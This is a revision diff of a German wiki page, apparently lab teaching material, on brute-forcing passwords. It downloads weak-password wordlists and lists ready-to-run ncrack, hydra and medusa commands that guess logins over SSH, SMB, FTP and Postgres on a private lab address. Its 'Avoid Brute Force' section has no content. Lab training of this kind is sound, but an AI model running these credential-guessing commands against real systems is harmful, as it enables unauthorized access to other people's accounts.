Bruteforce-passwords: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 1: | Zeile 1: | ||
=Get the passwords= | =Get the passwords= | ||
*wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/500-worst-passwords.txt | *wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/500-worst-passwords.txt | ||
| − | + | =Labor Liste= | |
| + | *wget https://www.xinux.de/downloads/share/bad-passwords | ||
=ncrack= | =ncrack= | ||
| − | *ncrack -p 22 --user | + | *ncrack -p 22 --user xinux -P bad-passwords 10.0.10.104 |
=hydra= | =hydra= | ||
==ssh== | ==ssh== | ||
| − | *hydra -l | + | *hydra -l xinux -P bad-passwords 10.0.10.104 ssh |
==smb== | ==smb== | ||
| − | *hydra -l | + | *hydra -l xinux -P bad-passwords 10.0.10.104 smb |
==ftp== | ==ftp== | ||
| − | *hydra -l | + | *hydra -l xinux -P bad-passwords 10.0.10.104 ftp |
=medusa= | =medusa= | ||
=ssh= | =ssh= | ||
| − | *medusa -u | + | *medusa -u xinux -P bad-passwords -h 10.0.10.104 -M ssh |
=postgres= | =postgres= | ||
| − | *medusa -u | + | *medusa -u xinux -P bad-passwords -h 10.0.10.104 -M postgres |
| + | |||
=Avoid Brute Force= | =Avoid Brute Force= | ||
Version vom 30. Juni 2021, 10:58 Uhr
Get the passwords
Labor Liste
ncrack
- ncrack -p 22 --user xinux -P bad-passwords 10.0.10.104
hydra
ssh
- hydra -l xinux -P bad-passwords 10.0.10.104 ssh
smb
- hydra -l xinux -P bad-passwords 10.0.10.104 smb
ftp
- hydra -l xinux -P bad-passwords 10.0.10.104 ftp
medusa
ssh
- medusa -u xinux -P bad-passwords -h 10.0.10.104 -M ssh
postgres
- medusa -u xinux -P bad-passwords -h 10.0.10.104 -M postgres